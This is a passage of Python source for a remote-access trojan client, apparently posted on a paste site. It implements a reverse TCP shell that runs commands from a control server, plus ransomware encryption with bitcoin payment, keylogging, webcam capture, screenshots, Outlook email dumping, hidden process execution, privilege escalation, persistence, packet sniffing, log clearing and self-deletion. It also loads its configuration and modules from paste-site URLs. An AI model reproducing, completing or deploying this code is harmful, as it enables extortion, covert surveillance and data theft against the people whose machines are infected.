  997. return json.dumps({a: status(self._workers[a].name) for a in self._workers if self._workers[a].is_alive()})
  998. elif 'privileges' in attribute:
  999. return json.dumps({'username': self.info.get('username'), 'administrator': 'true' if bool(os.getuid() == 0 if os.name is 'posix' else ctypes.windll.shell32.IsUserAnAdmin()) else 'false'})
  1000. elif 'info' in attribute:
  1001. return json.dumps(self.info)
  1002. elif hasattr(self, attribute):
  1003. try:
  1004. return json.dumps(getattr(self, attribute))
  1005. except:
  1006. try:
  1007. return json.dumps(vars(getattr(self, attribute)))
  1008. except: pass
  1009. elif hasattr(self, str('_%s' % attribute)):
  1010. try:
  1011. return json.dumps(getattr(self, str('_%s' % attribute)))
  1012. except:
  1013. try:
  1014. return json.dumps(vars(getattr(self, str('_%s' % attribute))))
  1015. except: pass
  1016. else:
  1017. return self.show.usage
  1018. except Exception as e:
  1019. Util.debug("'{}' error: {}".format(self._workers.func_name, str(e)))
  1020.  
  1021.  
  1022. def send_task(self, **kwargs):
  1023. """
  1024. Send task results to server
  1025. """
  1026. try:
  1027. if self._flags['connection'].wait(timeout=1.0):
  1028. if kwargs.get('result'):
  1029. buff = kwargs.get('result')
  1030. kwargs.update({'result': buff[:48000]})
  1031. data = Security.encrypt_aes(json.dumps(kwargs), Security.session_key)
  1032. self._socket.send(struct.pack('L', len(data)) + data)
  1033. if len(buff[48000:]):
  1034. kwargs.update({'result': buff[48000:]})
  1035. return self.send_task(**kwargs)
  1036. else:
  1037. Util.debug("connection timed out")
  1038. except Exception as e:
  1039. Util.debug('{} error: {}'.format(self.send_task.func_name, str(e)))
  1040.  
  1041.  
  1042. def recv_task(self, sock=None):
  1043. """
  1044. Receive task data from server
  1045. """
  1046. try:
  1047. if not sock:
  1048. sock = self._socket
  1049. header_size = struct.calcsize('L')
  1050. header = sock.recv(header_size)
  1051. msg_len = struct.unpack('L', header)[0]
  1052. data = ''
  1053. while len(data) < msg_len:
  1054. try:
  1055. data += sock.recv(1)
  1056. except (socket.timeout, socket.error):
  1057. break
  1058. if data and bytes(data):
  1059. try:
  1060. text = Security.decrypt_aes(data, Security.session_key)
  1061. task = json.loads(text)
  1062. return task
  1063. except Exception as e2:
  1064. Util.debug('{} error: {}'.format(self.recv_task.func_name, str(e2)))
  1065. except Exception as e:
  1066. Util.debug("{} error: {}".format(self.recv_task.func_name, str(e)))
  1067.  
  1068.  
  1069. @config(platforms=['win32','linux2','darwin'], command=True, usage='abort')
  1070. def abort(self):
  1071. """
  1072. self-destruct and leave no trace on the disk
  1073. """
  1074. _abort = True
  1075. try:
  1076. if os.name is 'nt':
  1077. Util.clear_system_logs()
  1078. if 'persistence' in globals():
  1079. for method in persistence.methods:
  1080. if persistence.methods[method].get('established'):
  1081. try:
  1082. remove = getattr(persistence, 'remove_{}'.format(method))()
  1083. except Exception as e2:
  1084. Util.debug("{} error: {}".format(method, str(e2)))
  1085. if not _debug:
  1086. Util.delete(sys.argv[0])
  1087. finally:
  1088. shutdown = threading.Thread(target=self.get_shutdown)
  1089. taskkill = threading.Thread(target=self.ps, args=('kill python',))
  1090. shutdown.start()
  1091. taskkill.start()
  1092. sys.exit()
  1093.  
  1094.  
  1095. @config(platforms=['win32','linux2','darwin'], command=True, usage='stop <job>')
  1096. def stop(self, target):
  1097. """
  1098. stop a running job
  1099. """
  1100. try:
  1101. if target in self._workers:
  1102. _ = self._workers.pop(target, None)
  1103. del _
  1104. return "Job '{}' was stopped.".format(target)
  1105. else:
  1106. return "Job '{}' not found".format(target)
  1107. except Exception as e:
  1108. Util.debug("{} error: {}".format(self.stop.func_name, str(e)))
  1109.  
  1110.  
  1111. @config(platforms=['win32','linux2','darwin'], command=True, usage='unzip <file>')
  1112. def unzip(self, path):
  1113. """
  1114. unzip a compressed archive/file
  1115. """
  1116. if os.path.isfile(path):
  1117. try:
  1118. _ = zipfile.ZipFile(path).extractall('.')
  1119. return os.path.splitext(path)[0]
  1120. except Exception as e:
  1121. Util.debug("{} error: {}".format(self.unzip.func_name, str(e)))
  1122. else:
  1123. return "File '{}' not found".format(path)
  1124.  
  1125.  
  1126. @config(platforms=['win32','linux2','darwin'], command=True, usage='sms <send/read> [args]')
  1127. def phone(self, args):
  1128. """
  1129. use an online phone to send text messages - mode: text
  1130. """
  1131. if 'phone' in globals():
  1132. mode, _, args = str(args).partition(' ')
  1133. if 'text' in mode:
  1134. phone_number, _, message = args.partition(' ')
  1135. return phone.text_message(phone_number, message)
  1136. else:
  1137. return 'usage: <send/read> [args]\n arguments:\n\tphone : phone number with country code - no spaces (ex. 18001112222)\n\tmessage : text message to send surrounded by quotes (ex. "example text message")'
  1138. else:
  1139. return "Error: missing module 'sms'"
  1140.  
  1141.  
  1142. @config(platforms=['win32','linux2','darwin'], command=True, usage='upload <mode> [file]')
  1143. def upload(self, args):
  1144. """
  1145. upload file to imgur, pastebin, or ftp server - mode: ftp, imgur, pastebin
  1146. """
  1147. try:
  1148. mode, _, source = str(args).partition(' ')
  1149. if not source or not hasattr(util, mode):
  1150. return self.upload.usage
  1151. return getattr(util, mode)(source)
  1152. except Exception as e:
  1153. Util.debug("{} error: {}".format(self.upload.func_name, str(e)))
  1154.  
  1155.  
  1156. @config(platforms=['win32','linux2','darwin'], registry_key=r"Software\AngryEggplant", command=True, usage='ransom <mode> [path]')
  1157. def ransom(self, args):
  1158. """
  1159. encrypt personal files and ransom them
  1160. """
  1161. if 'ransom' not in globals():
  1162. return "Error: missing module 'ransom'"
  1163. elif not args:
  1164. return "\tusage: ransom <encrypt/decrypt> [path]"
  1165. else:
  1166. cmd, _, action = str(args).partition(' ')
  1167. if 'payment' in cmd:
  1168. try:
  1169. return ransom.payment(action)
  1170. except:
  1171. return "{} error: {}".format(Shell._ransom_payment.func_name, "bitcoin wallet required for ransom payment")
  1172. elif 'decrypt' in cmd:
  1173. return ransom.decrypt_threader(action)
  1174. elif 'encrypt' in cmd:
  1175. reg_key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, registry_key)
  1176. return ransom.encrypt_threader(action)
  1177. else:
  1178. return "\tusage: ransom <mode> [path]\n\tmodes: encrypt, decrypt, payment"
  1179.  
  1180.  
  1181. @config(platforms=['win32','linux2','darwin'], command=True, usage='webcam <mode> [options]')
  1182. def webcam(self, args=None):
  1183. """
  1184. stream the webcam or capture image/video - args: image, stream, video
  1185. """
  1186. try:
  1187. if 'webcam' not in globals():
  1188. return "Error: missing module 'webcam'"
  1189. elif not args:
  1190. result = self.webcam.usage
  1191. else:
  1192. args = str(args).split()
  1193. if 'stream' in args:
  1194. if len(args) != 2:
  1195. result = "Error - stream mode requires argument: 'port'"
  1196. elif not str(args[1]).isdigit():
  1197. result = "Error - port must be integer between 1 - 65355"
  1198. else:
  1199. result = webcam.stream(port=args[1])
  1200. else:
  1201. result = webcam.image(*args) if 'video' not in args else webcam.video(*args)
  1202. except Exception as e:
  1203. result = "{} error: {}".format(self.webcam.func_name, str(e))
  1204. return result
  1205.  
  1206.  
  1207. def connect(self, **kwargs):
  1208. """
  1209. connect to server and start new session
  1210. """
  1211. try:
  1212. if kwargs.get('url') and kwargs.get('api'):
  1213. host, port = Util.find_server(kwargs.get('url'), kwargs.get('api'))
  1214. self._socket.connect((host, port))
  1215. self._socket.setblocking(True)
  1216. self._flags['connection'].set()
  1217. Util.debug("Connected to: {}".format(repr(host, port)))
  1218. Security.session_key = Security.diffiehellman(self._socket)
  1219. self._socket.sendall(Security.encrypt_aes(json.dumps(self.info), Security.session_key) + '\n')
  1220. received = ''
  1221. while '\n' not in received:
  1222. try:
  1223. received += self._socket.recv(1024)
  1224. except (socket.error, socket.timeout):
  1225. Util.debug('Connection failed\nRestarting in 5 seconds...')
  1226. break
  1227. if isinstance(received, bytes) and len(received):
  1228. return Security.decrypt_aes(received.rstrip(), Security.session_key).strip().rstrip()
  1229. except Exception as e:
  1230. Util.debug("{} error: {}".format(self.connect.func_name, str(e)))
  1231.  
  1232.  
  1233. @config(platforms=['win32','linux2','darwin'], command=True, usage='restart [output]')
  1234. def restart(self, output='connection'):
  1235. """
  1236. restart the client payload
  1237. """
  1238. try:
  1239. Util.debug("{} failed - restarting in 3 seconds...".format(output))
  1240. self.kill()
  1241. time.sleep(3)
  1242. os.execl(sys.executable, 'python', sys.argv[0], *sys.argv[1:])
  1243. except Exception as e:
  1244. Util.debug("{} error: {}".format(self.restart.func_name, str(e)))
  1245.  
  1246.  
  1247. @config(platforms=['win32','darwin'], command=True, usage='outlook <option> [mode]')
  1248. def outlook(self, args=None):
  1249. """
  1250. access Outlook email without authenticating or opening the GUI
  1251. """
  1252. if 'outlook' not in globals():
  1253. return "Error: missing module 'outlook'"
  1254. elif not args:
  1255. try:
  1256. if not outlook.installed():
  1257. return "Error: Outlook not installed on this host"
  1258. else:
  1259. return "Outlook is installed on this host"
  1260. except: pass
  1261. else:
  1262. try:
  1263. mode, _, arg = str(args).partition(' ')
  1264. if hasattr(outlook % mode):
  1265. if 'dump' in mode or 'upload' in mode:
  1266. self._workers['outlook'] = threading.Thread(target=getattr(outlook, mode), kwargs={'n': arg}, name=time.time())
  1267. self._workers['outlook'].daemon = True
  1268. self._workers['outlook'].start()
  1269. return "Dumping emails from Outlook inbox"
  1270. elif hasattr(outlook, mode):
  1271. return getattr(outlook, mode)()
  1272. else:
  1273. return "Error: invalid mode '%s'" % mode
  1274. else:
  1275. return "usage: outlook [mode]\n mode: count, dump, search, results"
  1276. except Exception as e:
  1277. Util.debug("{} error: {}".format(self.email.func_name, str(e)))
  1278.  
  1279.  
  1280. @config(platforms=['win32','linux2','darwin'], process_list={}, command=True, usage='execute <path> [args]')
  1281. def execute(self, args):
  1282. """
  1283. run an executable program in a hidden process
  1284. """
  1285. path, args = [i.strip() for i in args.split('"') if i if not i.isspace()] if args.count('"') == 2 else [i for i in args.partition(' ') if i if not i.isspace()]
  1286. args = [path] + args.split()
  1287. if os.path.isfile(path):
  1288. name = os.path.splitext(os.path.basename(path))[0]
  1289. try:
  1290. info = subprocess.STARTUPINFO()
  1291. info.dwFlags = subprocess.STARTF_USESHOWWINDOW , subprocess.CREATE_NEW_ps_GROUP
  1292. info.wShowWindow = subprocess.SW_HIDE
  1293. self.execute.process_list[name] = subprocess.Popen(args, startupinfo=info)
  1294. return "Running '{}' in a hidden process".format(path)
  1295. except Exception as e:
  1296. try:
  1297. self.execute.process_list[name] = subprocess.Popen(args, 0, None, None, subprocess.PIPE, subprocess.PIPE)
  1298. return "Running '{}' in a new process".format(name)
  1299. except Exception as e:
  1300. Util.debug("{} error: {}".format(self.execute.func_name, str(e)))
  1301. else:
  1302. return "File '{}' not found".format(str(path))
  1303.  
  1304.  
  1305. @config(platforms=['win32','linux2','darwin'], command=True, usage='portscan <target>')
  1306. def portscan(self, args):
  1307. """
  1308. portscan the network to find online hosts and open ports
  1309. """
  1310. if 'portscan' not in globals():
  1311. return "Error: missing module 'portscan'"
  1312. try:
  1313. mode, _, target = str(args).partition(' ')
  1314. if target:
  1315. if not ipv4(target):
  1316. return "Error: invalid IP address '%s'" % target
  1317. else:
  1318. target = socket.gethostbyname(socket.gethostname())
  1319. if hasattr(portscan, mode):
  1320. return getattr(portscan, mode)(target)
  1321. else:
  1322. return "Error: invalid mode '%s'" % mode
  1323. except Exception as e:
  1324. Util.debug("{} error: {}".format(self.portscan.func_name, str(e)))
  1325.  
  1326.  
  1327. @config(platforms=['win32'], command=True, usage='escalate')
  1328. def escalate(self):
  1329. """
  1330. attempt to escalate privileges
  1331. """
  1332. try:
  1333. if Util.administrator():
  1334. return "Current user '{}' has administrator privileges".format(self.info.get('username'))
  1335. if os.name is 'nt':
  1336. import win32com.shell.shell
  1337. win32com.shell.shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters='{} asadmin'.format(self.clients.get('result')))
  1338. else:
  1339. return "Privilege escalation not yet available on '{}'".format(sys.platform)
  1340. except Exception as e:
  1341. Util.debug("{} error: {}".format(self.escalate.func_name, str(e)))
  1342.  
  1343.  
  1344. @config(platforms=['win32','linux2','darwin'], max_bytes=4000, buffer=cStringIO.StringIO(), window=None, command=True, usage='keylogger start/stop/dump/status')
  1345. def keylogger(self, mode=None):
  1346. """
  1347. log user keystrokes - mode; auto, run, stop, dump, status
  1348. """
  1349. if 'keylogger' not in globals():
  1350. return "Error: missing module 'keylogger'"
  1351. elif not mode:
  1352. return keylogger.status()
  1353. elif not mode:
  1354. if 'keylogger' not in self._workers:
  1355. return keylogger.usage
  1356. else:
  1357. return keylogger.status()
  1358. else:
  1359. if 'run' in mode:
  1360. if 'keylogger' not in self._workers:
  1361. keylogger._workers['keylogger'] = keylogger.run()
  1362. return keylogger.status()
  1363. else:
  1364. return keylogger.status()
  1365. elif 'stop' in mode:
  1366. try:
  1367. self.stop('keylogger')
  1368. except: pass
  1369. try:
  1370. self.stop('keylogger')
  1371. except: pass
  1372. return keylogger.status()
  1373. elif 'auto' in mode:
  1374. self._workers['keylogger'] = keylogger.auto()
  1375. return keylogger.status()
  1376. elif 'dump' in mode:
  1377. result = pastebin(keylogger._buffer) if not 'ftp' in mode else ftp(keylogger._buffer)
  1378. keylogger.buffer.reset()
  1379. return result
  1380. elif 'status' in mode:
  1381. return keylogger.status()
  1382. else:
  1383. return keylogger.usage + '\n\targs: start, stop, dump'
  1384.  
  1385.  
  1386. @config(platforms=['win32','linux2','darwin'], command=True, usage='screenshot <mode>')
  1387. def screenshot(mode=None):
  1388. """
  1389. capture a screenshot from host device - upload modes: ftp, imgur
  1390. """
  1391. try:
  1392. if 'screenshot' not in globals():
  1393. return "Error: missing module 'screenshot'"
  1394. elif not mode in ('ftp','imgur'):
  1395. return "Error: invalid mode '%s'" % str(mode)
  1396. else:
  1397. return screenshot.screenshot(mode)
  1398. except Exception as e:
  1399. util.debug("{} error: {}".format(self.screenshot.func_name, str(e)))
  1400.  
  1401.  
  1402. @config(platforms=['win32','linux2','darwin'], command=True, usage='persistence add/remove [method]')
  1403. def persistence(self, args=None):
  1404. """
  1405. establish persistence - methods: registry_key, scheduled_task, launch_agent, crontab_job, startup_file, hidden_file
  1406. """
  1407. try:
  1408. if not 'persistence' in globals():
  1409. return "Error: missing module 'persistence'"
  1410. elif not args:
  1411. return self.persistence.usage
  1412. else:
  1413. cmd, _, action = str(args).partition(' ')
  1414. methods = [m for m in persistence.methods if sys.platform in persistence.methods[m]['platforms']]
  1415. if cmd not in ('add','remove'):
  1416. return self.persistence.usage + str('\nmethods: %s' % ', '.join([str(m) for m in persistence.methods if sys.platform in getattr(Shell, '_persistence_add_%s' % m).platforms]))
  1417. for method in methods:
  1418. if method == 'all' or action == method:
  1419. persistence.methods[method]['established'], persistence.methods[method]['result'] = getattr(self, '_'.join(cmd, method))()
  1420. return json.dumps({m: persistence.methods[m]['result'] for m in methods})
  1421. except Exception as e:
  1422. Util.debug("{} error: {}".format(self.persistence.func_name, str(e)))
  1423. return str(self.persistence.usage + '\nmethods: %s' % ', '.join([m for m in persistence.methods if sys.platform in getattr(Shell, '_persistence_add_%s' % m).platforms]))
  1424.  
  1425.  
  1426. @config(platforms=['linux2','darwin'], capture=[], command=True, usage='packetsniffer mode=[str] time=[int]')
  1427. def packetsniffer(self, args):
  1428. """
  1429. capture traffic on local network
  1430. """
  1431. try:
  1432. if 'packetsniffer' not in globals():
  1433. return "Error: missing module 'packetsniffer'"
  1434. else:
  1435. mode = None
  1436. length = None
  1437. cmd, _, action = str(args).partition(' ')
  1438. for arg in action.split():
  1439. if arg.isdigit():
  1440. length = int(arg)
  1441. elif arg in ('ftp','pastebin'):
  1442. mode = arg
  1443. self._workers[self.packetsniffer.func_name] = packetsniffer(mode, seconds=length)
  1444. return 'Capturing network traffic for {} seconds'.format(duration)
  1445. except Exception as e:
  1446. Util.debug("{} error: {}".format(self.packetsniffer.func_name, str(e)))
  1447.  
  1448.  
  1449. @config(platforms=['win32'], buffer=cStringIO.StringIO(), max_bytes=1024, command=True, usage='process <mode>s')
  1450. def process(self, args=None):
  1451. """
  1452. process utilities - mode: block, list, monitor, kill, search
  1453. """
  1454. try:
  1455. if 'process' not in globals():
  1456. return "Error: missing module 'process'"
  1457. elif not args:
  1458. return self.ps.usage
  1459. else:
  1460. cmd, _, action = str(args).partition(' ')
  1461. if hasattr(process, cmd):
  1462. return getattr(process, cmd)(action) if action else getattr(process, cmd)()
  1463. else:
  1464. return "usage: {}\n\tmode: block, list, search, kill, monitor\n\t".format(self.ps.usage)
  1465. except Exception as e:
  1466. Util.debug("{} error: {}".format(self.process.func_name, str(e)))
  1467.  
  1468. @threaded
  1469. def reverse_tcp_shell(self):
  1470. """
  1471. send encrypted shell back to server via outgoing TCP connection
  1472. """
  1473. try:
  1474. self._workers['prompt'] = self._prompt()
  1475. while True:
  1476. if self._flags['connection'].wait(timeout=1.0):
  1477. if not self._flags['prompt'].is_set():
  1478. task = self.recv_task()
  1479. if isinstance(task, dict):
  1480. cmd, _, action = [i.encode() for i in task['command'].partition(' ')]
  1481. try:
  1482. result = bytes(getattr(self, cmd)(action) if action else getattr(self, cmd)()) if cmd in sorted([attr for attr in vars(Shell) if not attr.startswith('_')]) else bytes().join(subprocess.Popen(cmd, 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())
  1483. except Exception as e1:
  1484. result = "{} error: {}".format(self.reverse_tcp_shell.func_name, str(e1))
  1485. task.update({'result': result})
  1486. self.send_task(**task)
  1487. if cmd and cmd in self._flags['tasks'] and 'PRIVATE KEY' not in task['command']:
  1488. self.task_save(task, result)
  1489. self._flags['prompt'].set()
  1490. else:
  1491. Util.debug("Connection timed out")
  1492. break
  1493. except Exception as e2:
  1494. Util.debug("{} error: {}".format(self.reverse_tcp_shell.func_name, str(e2)))
  1495. return self.restart(self.reverse_tcp_shell.func_name)
  1496.  
  1497.  
  1498.  
  1499. if __name__ == '__main__':
  1500.  
  1501. payload = Payload()
  1502.  
  1503. payload.run(config={"api_key": "https://pastebin.com/raw/QPAJs08x", "modules": "https://pastebin.com/raw/Z5z5cjny"})
Add Comment
Please, Sign In to add comment